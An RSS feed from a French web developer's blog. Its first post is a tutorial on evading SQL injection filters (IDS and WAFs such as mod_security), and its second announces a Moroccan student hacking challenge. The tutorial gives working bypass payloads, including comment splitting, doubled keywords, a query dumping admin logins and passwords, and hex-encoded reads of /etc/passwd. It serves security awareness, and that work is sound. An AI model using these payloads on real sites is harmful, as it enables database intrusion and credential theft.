<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mohammed CHERIFI &#187; Hacking</title>
	<atom:link href="http://www.mcherifi.org/category/hacking/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mcherifi.org</link>
	<description>Another Web Developper Blog!</description>
	<lastBuildDate>Tue, 31 Jan 2012 18:42:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SQL Injection: Les techniques d&#8217;évasion de filtres</title>
		<link>http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html</link>
		<comments>http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html#comments</comments>
		<pubDate>Sun, 11 Sep 2011 09:04:39 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[filter-bypass]]></category>
		<category><![CDATA[ids]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[system de detection d'intrusion]]></category>
		<category><![CDATA[waf]]></category>
		<category><![CDATA[web application firewall]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=835</guid>
		<description><![CDATA[Tweet
Pour minimiser le risque de se faire attaquer via une injection SQL, les administrateurs système mettent souvent en place des modules de protection permettant de bloquer la majorité des attaques basiques et celles effectuées à l&#8217;aide d&#8217;un outil automatisé. Dans ce billet, j&#8217;expliquerai les techniques utilisées pour énumérer l’existence de l&#8217;un de ces derniers, ainsi [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html" data-text="SQL Injection: Les techniques d\'évasion de filtres" data-count="horizontal">Tweet</a><p><a href="http://www.mcherifi.org/wp-content/uploads/2011/09/bypass.jpg"><img src="http://www.mcherifi.org/wp-content/uploads/2011/09/bypass.jpg" alt="" title="SQL Injection; filtre évasion" width="225" height="220" class="alignleft size-full wp-image-836" /></a>
<p>Pour minimiser le risque de se faire attaquer via une injection SQL, les administrateurs système mettent souvent en place des modules de protection permettant de bloquer la majorité des attaques basiques et celles effectuées à l&#8217;aide d&#8217;un outil automatisé. Dans ce billet, j&#8217;expliquerai les techniques utilisées pour énumérer l’existence de l&#8217;un de ces derniers, ainsi que les limitations et méthodes utilisées pour contourner ces protections. </p>
<p>Je vous rappelle qu&#8217;en lisant ceci, vous acceptez que je ne peux être tenu responsable pour toute action prise, les informations que je partage dans ce billet sont à utiliser SEULEMENT pour faire des PENTEST.</p>
<h3>Principe des filtres</h3>
<p>Certains filtrages sont souvent effectués côté client, le plus souvent avec javascript sur la page Web. Il suffit pour un attaquant d&#8217;enregistrer la page localement et supprimer le script pour les évader. Toutefois, la majorité des filtrages dans notre cas se font grâce à une liste noire restrictive et par conséquent, une certaine liste de mots ne peut être exécutée. Les outils les plus couramment utilisés pour cela sont: les systèmes de détection d&#8217;intrusion (IDS) et les filtres d&#8217;applications Web (WAF).</p>
<h3>Les systèmes de détection d&#8217;intrusion</h3>
<p>Un système de détection d&#8217;intrusion surveille l&#8217;activité réseau pour essayer de détecter des actions malveillantes et se concentre principalement sur l&#8217;exploitation forestière en faisant état de tentatives d&#8217;exploiter une application web. ce dernier essaye de répondre aux attaques et les empêche de se produire.</p>
<p>Le principe d&#8217;un IDS est de comparer les entrées de l&#8217;utilisateur avec des patterns malicieux connus appelés SIGNATURES. En voici un exemple:</p>
<blockquote><p>alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: &laquo;&nbsp;SQL Injection attempt&nbsp;&raquo;;<br />
flow: to_server, established; content: &laquo;&nbsp;&#8216;OR&#8217;1&#8242;=&#8217;1&#8242;&#8211;&nbsp;&raquo;; nocase; sid: 1; rev:1;</p></blockquote>
<p>D&#8217;où le <em>&#8216;OR&#8217;1&#8242;=&#8217;1&#8242;&#8211;</em> est ce qui est observé et ce qui provoque l&#8217;IDS pour alerter l&#8217;administrateur Web en lui envoyant comme message: &laquo;&nbsp;SQL Injection attempt&nbsp;&raquo;.
</p>
<p>Bien entendu ceci n&#8217;est qu&#8217;un exemple, plusieurs combinaisons peuvent être utilisées pour contourner ce genre de protection, par-contre si l&#8217;IDS utilise un bon dictionnaire de SIGNATURES, l&#8217;attaquant devrait avoir beaucoup de créativité car il devient de plus en plus difficile de les contourner.</p>
<h3>Les filtres d&#8217;applications WEB</h3>
<p>Un filtre d&#8217;application WEB est un logiciel appliquant certaines règles à la requête pour tenter d&#8217;empêcher le code malveillant d&#8217;atteindre le serveur. Un WAF pourrait mettre en œuvre une liste noire ou blanche pour le contrôle d&#8217;entrée ce qui donne à beaucoup d&#8217;administrateurs un faux sentiment de sécurité. Pourquoi? la réponse c&#8217;est que tout simplement l&#8217;essentiel est la sécurité du codage du site Web.</p>
<p>Si vous obtenez une erreur &laquo;&nbsp;501 Method Not Implemented&nbsp;&raquo; ou bien &laquo;&nbsp;200 Condition Intercepted&nbsp;&raquo; après une tentative de test d&#8217;injection SQL avec &laquo;&nbsp;union all select&nbsp;&raquo; c&#8217;est que le serveur surlequel vous effectuez vos pentest utilise un WAF, mod_security par exemple..</p>
<p>En rappelle mod_security est un pare-feu open source d&#8217;applications Web qui fonctionne en tant que module du serveur Apache. Il dispose d&#8217;un ensemble complet de règles appelé «règles de base ModSecurity» pour bloquer les vecteurs d&#8217;attaques d&#8217;application web (injections SQL, Cross-Site Scripting etc..)</p>
<h3>Contourner un IDS/WAF</h3>
<p>Il existe plusieurs méthodes pour tester la fiabilité d&#8217;un IDS/WAF et éventuellement pour le contourner, voici une liste non-exhaustive des techniques qui peuvent permettre de surpasser les filtres:</p>
<p></p>
<h4>Commentaires avec variables</h4>
<p></p>
<p>Cette technique exploite une faille dans la méthode d&#8217;interprétation des variables dans Apache, on prends l&#8217;exemple suivant : </p>
<blockquote><p>article.php?id=-1 UNION SELECT 1,2,3,4</p></blockquote>
<ul>
<li><strong>Interprétation mod_security : </strong><br />
id=-1 <span style="color:red">UNION SELECT</span> 1,2,3,4 => <span style="color:red">BLOQUÉE</span> </li>
</ul>
<blockquote><p>article.php?id=-1 UNION/**/SELECT/**/1,2,3,4</p></blockquote>
<li><strong>Interprétation mod_security : </strong>
<li>id=-1 <span style="color:red">UNION/**/SELECT</span> 1,2,3,4 => <span style="color:red">BLOQUÉE</span> </li>
<li><strong>Interprétation de l&#8217;application : </strong>: $_GET['id'] = &laquo;&nbsp;-1 UNION/**/SELECT/**/1,2,3,4&#8243;</li>
</ul>
<blockquote><p>article.php?id=-1 UNION/*&#038;test=1*/SELECT/*&#038;pwn=2*/1,2,3,4&#8211;</p></blockquote>
<li><strong>Interprétation mod_security : </strong>
<ul>
<li>id: -1 UNION/*</li>
<li>test: 1/*SELECT/*</li>
<li>pwn: 2/*1,2,3,4&#8211;</li>
</ul>
<li>aisni =&gt; id=-1 UnION<span style="color:red">/*&#038;test=1*/</span>SELECT<span style="color:red">/*&#038;pwn=2*/</span> 1,2,3,4 => <span style="color:green">PASSE</span> </li>
<li><strong>Interprétation de l&#8217;application : </strong>: $_GET['id'] = &laquo;&nbsp;-1 UNION/*&#038;test=1*/SELECT/*&#038;pwn=2*/1,2,3,4&#8243;</li>
</ul>
<p></p>
<h4>Phrases remplacées par des chaines vides et espace</h4>
<p></p>
<p>Certains filtres, afin d’empêcher l&#8217;exécution de requêtes contenant certains mots clés, ils remplacent ces derniers par des espaces/chaines vides ainsi : </p>
<blockquote><p>-123 UNION SELECT 1,2,3,4</p></blockquote>
<p> devient :<br />
<blockquote>profile.php?id=-1231,2,3,4</p></blockquote>
<p>Ce type de protection est facilement contournable on dupliquant le même mot restreint au milieux de ce dernier:<br />
exemple :<br />
<blockquote>-1 UNunionION SELselectCT 1,2,3,4</p></blockquote>
<p> ce qui donnera après remplacement<br />
<blockquote>-1 union select 1,2,3,4</p></blockquote>
<p>Dans certains cas, les WAF remplacent également les caractères spéciaux comme &laquo;&nbsp;&#8216;;:(){}/**/&amp;$|?&lt;&gt; .Un attaquant peut s&#8217;en servir comme séparateur pour construire des mots clés restreins après suppression de l&#8217;un de ces caractères.. exemple :<br />
<blockquote>profile.php?user_id=-1 un?&lt;ion sel&amp;ect login,password,null,null,null fro}m admin</p></blockquote>
<p></p>
<h4>Les null-bytes</h4>
<p></p>
<p>Placer un caractère null (%00) après un mot filtré peu dans certains contourner le filtre..</p>
<p></p>
<h4>Encodage de caractères</h4>
<p></p>
<p>La majorité des IDS&#038;WAF ne supportent pas tous les types d&#8217;encodage, ainsi un attaquant peut encoder les paramètre dans l&#8217;URL pour échapper aux filtres:</p>
<ul>
<li><strong>Hex encoding: conversion de chaine en hexadécimal, exemple : load_file(0&#215;2f6574632f706173737764) => load_file(/etc/passwd)</strong></li>
<li><strong>Unicode:</strong> %uff41%uff42%uff43 = &#8216;abc&#8217;</li>
<li><strong>La fonction Char</strong>: CHAR(41,42,43) = &#8216;abc&#8217;, utilisable les codes décimales en ASCII</li>
<li><strong>Le double Encoding</strong>: le principe est d&#8217;encoder les caractères deux fois de suite dans le but d&#8217;obtenir un caractère restreint après interprétation, exemple : Le signe % est égale à 25 en hexadécimal, quand codé pour les URLs il devient %25. Le «signle quote» &#8216; est symbolisé par le chiffre 27 en hexadécimal ainsi dans une URL il ressemble à %27. si on l&#8217;encode à nouveau on obtient %2527 qui est interprété comme étant un «single quote» &#8216;, ce qui peut être en mesure de contourner certains filtres.</li>
</ul>
<h3>Conclusion</h3>
<p>Utiliser un système de détection d&#8217;intrusion ou un par-feux d&#8217;application web est une bonne pratique pour minimiser le risque d&#8217;être attaqué, toute-fois avec peu de créativité, un attaquant peut réussir à les contourner et compromettre votre application web, ainsi la meilleure solution est de bien sécuriser votre code avant tout! </p>
<p>Je rappelle que je ne revendique aucune responsabilité des actions que vous prenez en lisant ceci, Le but étant d&#8217;attirer l&#8217;attention des administrateurs système afin de ne pas avoir un faux sentiment de sécurité :) .</p>
<p>Merci pour la lecture! Commentaires et critiques constructives sont toujours les bienvenus.</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&d=http://twitter.com/home?status=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&d=http://www.facebook.com/share.php?u=TARGET%26t=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;annotation=Pour%20minimiser%20le%20risque%20de%20se%20faire%20attaquer%20via%20une%20injection%20SQL%2C%20les%20administrateurs%20syst%C3%A8me%20mettent%20souvent%20en%20place%20des%20modules%20de%20protection%20permettant%20de%20bloquer%20la%20majorit%C3%A9%20des%20attaques%20basiques%20et%20celles%20effectu%C3%A9es%20%C3%A0%20l%27aide%20d%27un%20outil%20a" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;notes=Pour%20minimiser%20le%20risque%20de%20se%20faire%20attaquer%20via%20une%20injection%20SQL%2C%20les%20administrateurs%20syst%C3%A8me%20mettent%20souvent%20en%20place%20des%20modules%20de%20protection%20permettant%20de%20bloquer%20la%20majorit%C3%A9%20des%20attaques%20basiques%20et%20celles%20effectu%C3%A9es%20%C3%A0%20l%27aide%20d%27un%20outil%20a" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;bodytext=Pour%20minimiser%20le%20risque%20de%20se%20faire%20attaquer%20via%20une%20injection%20SQL%2C%20les%20administrateurs%20syst%C3%A8me%20mettent%20souvent%20en%20place%20des%20modules%20de%20protection%20permettant%20de%20bloquer%20la%20majorit%C3%A9%20des%20attaques%20basiques%20et%20celles%20effectu%C3%A9es%20%C3%A0%20l%27aide%20d%27un%20outil%20a" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Pour%20minimiser%20le%20risque%20de%20se%20faire%20attaquer%20via%20une%20injection%20SQL%2C%20les%20administrateurs%20syst%C3%A8me%20mettent%20souvent%20en%20place%20des%20modules%20de%20protection%20permettant%20de%20bloquer%20la%20majorit%C3%A9%20des%20attaques%20basiques%20et%20celles%20effectu%C3%A9es%20%C3%A0%20l%27aide%20d%27un%20outil%20a" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&d=http://ping.fm/ref/?link=TARGET%26title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres%26body=Pour%20minimiser%20le%20risque%20de%20se%20faire%20attaquer%20via%20une%20injection%20SQL%2C%20les%20administrateurs%20syst%C3%A8me%20mettent%20souvent%20en%20place%20des%20modules%20de%20protection%20permettant%20de%20bloquer%20la%20majorit%C3%A9%20des%20attaques%20basiques%20et%20celles%20effectu%C3%A9es%20%C3%A0%20l%27aide%20d%27un%20outil%20a" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&d=mailto:?subject=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;selection=Pour%20minimiser%20le%20risque%20de%20se%20faire%20attaquer%20via%20une%20injection%20SQL%2C%20les%20administrateurs%20syst%C3%A8me%20mettent%20souvent%20en%20place%20des%20modules%20de%20protection%20permettant%20de%20bloquer%20la%20majorit%C3%A9%20des%20attaques%20basiques%20et%20celles%20effectu%C3%A9es%20%C3%A0%20l%27aide%20d%27un%20outil%20a" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;submitHeadline=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;submitSummary=Pour%20minimiser%20le%20risque%20de%20se%20faire%20attaquer%20via%20une%20injection%20SQL%2C%20les%20administrateurs%20syst%C3%A8me%20mettent%20souvent%20en%20place%20des%20modules%20de%20protection%20permettant%20de%20bloquer%20la%20majorit%C3%A9%20des%20attaques%20basiques%20et%20celles%20effectu%C3%A9es%20%C3%A0%20l%27aide%20d%27un%20outil%20a&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=SQL%20Injection%3A%20Les%20techniques%20d%27%C3%A9vasion%20de%20filtres&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-les-techniques-devasion-de-filtres.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Hacking: Moroccan Cyber Security Challenge 2011</title>
		<link>http://www.mcherifi.org/hacking/hacking-moroccan-cyber-security-challenge-mcsc-2011.html</link>
		<comments>http://www.mcherifi.org/hacking/hacking-moroccan-cyber-security-challenge-mcsc-2011.html#comments</comments>
		<pubDate>Fri, 25 Mar 2011 18:48:47 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Maroc]]></category>
		<category><![CDATA[challenge hacking maroc]]></category>
		<category><![CDATA[mcsc]]></category>
		<category><![CDATA[moroccan cyber security challenge]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=817</guid>
		<description><![CDATA[TweetMCSC ou Moroccan Cyber Security Challenge est le premier événement underground de Hacking au Maroc, organisé par les élèves ingénieurs du club INSEC, un club de jeunes passionnés dédié à la sécurité de l&#8217;information et en partenariat avec OWASP, l’événement est organisé sous le thème : &#171;&#160;Appréhendez les menaces, pour en mieux s&#8217;en protéger..&#160;&#187; et [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/hacking-moroccan-cyber-security-challenge-mcsc-2011.html" data-text="Hacking: Moroccan Cyber Security Challenge 2011" data-count="horizontal">Tweet</a><p><div id="attachment_826" class="wp-caption alignleft" style="width: 323px"><a href="http://www.mcherifi.org/wp-content/uploads/2011/03/logo.png"><img src="http://www.mcherifi.org/wp-content/uploads/2011/03/logo.png" alt="MCSC" title="Moroccan Cyber Security Challenge" width="313" height="73" class="size-full wp-image-826" /></a><p class="wp-caption-text">Moroccan Cyber Security Challenge</p></div>MCSC ou Moroccan Cyber Security Challenge est le premier événement underground de Hacking au Maroc, organisé par les élèves ingénieurs du club <a href="http://www.inseclub.net/">INSEC</a>, un club de jeunes passionnés dédié à la sécurité de l&#8217;information et en partenariat avec <a href="http://www.owasp.org" target="_blank">OWASP</a>, l’événement est organisé sous le thème : &laquo;&nbsp;Appréhendez les menaces, pour en mieux s&#8217;en protéger..&nbsp;&raquo; et aura lieu au sein de l&#8217;<a href="http://www.ensias.ma/" target="_blank"><acronym title="Ecole Nationale Supérieure d’Informatique<br />
et d’Analyse des Systèmes">ENSIAS</acronym></a> à Rabat <strong>le 15 Avril 2011</strong></p>
<p>C&#8217;est la première compétition de ce genre au Maroc. pour cette édition, seuls les élèves ingénieurs peuvent participer et seront confrontés à des épreuves sur plusieurs niveaux et de différentes catégories, l&#8217;objectif étant de déceler les vulnérabilités et les exploiter pour avoir le code de validation de chaque épreuve. Chaque grande école sera représenté par une équipe qui a pour objectif de résoudre des contestes , un système intelligent de point est mis en place pour compter les épreuves validées ainsi on découvrira les champions de cette première édition ! </p>
<p>Vous êtes des fous furieux de sécurité informatique? élèves ingénieurs marocains et souhaitez tester vos connaissances en Hacking en toute légalité? vous aimez les challenges? et ben c&#8217;est l&#8217;occasion. <strong>Les trois premières équipes seront récompensées par des lots divers</strong>.</p>
<p>Des conférences et ateliers seront animés en parallèle par des professionnels du domaine de la sécurité des systèmes d’information et seront destinés à un public varié. Cette première édition verra l’intervention de l&#8217;<a href="http://www.owasp.org" target="_blank">OWASP</a> et des professionnels du domaine de la sécurité à l’échelle international et national. Il y aura également des sessions débat et rencontres entre étudiants professionnels. L’entrée est gratuite et surtout libre!</p>
<p>Il faut dire qu&#8217;au Maroc la culture d&#8217;underground et de sécurité informatique n&#8217;a pas encore atteint la maturité qu&#8217;il faut par rapport aux autres pays, je salues donc cette initiative qui nous permettra d&#8217;avoir des futurs ingénieurs avertis et qui produiront du code propre et sécurisé, cet événement et aussi pour dire que le Hacking n&#8217;est pas de la magie et qu&#8217;il suffit de prendre certaines mesures qui deviendront par la suite des réflexes pour le bien du web Marocain!</p>
<p>Du coup, je vais aller y faire un tour cette année, (vu que j&#8217;ai participé à la réalisation de quelques challenges) et j’essayerai de vous faire un feedback de l&#8217;ambiance qui règne là bas. donc pour vous rappeler : Ça se déroulera le samedi et dimanche 15 et 16 Avril, de 14h à 20h! et <strong>le concours se déroulera toute la nuit à partir de vendredi minuit jusqu’à 9:00 du samedi matin</strong>! on se voit là bas alors?</p>
<p>Je vous invite à découvrir <a href="http://www.inseclub.net/mcsc/index.php?option=com_content&#038;view=article&#038;id=11&#038;Itemid=13&#038;lang=fr" target="_blank">le programme détaillé sur le site officiel du club INSEC</a> et je vous dit à très bientôt!</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fhacking-moroccan-cyber-security-challenge-mcsc-2011.html&d=http://twitter.com/home?status=Hacking%3A%20Moroccan%20Cyber%20Security%20Challenge%202011%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
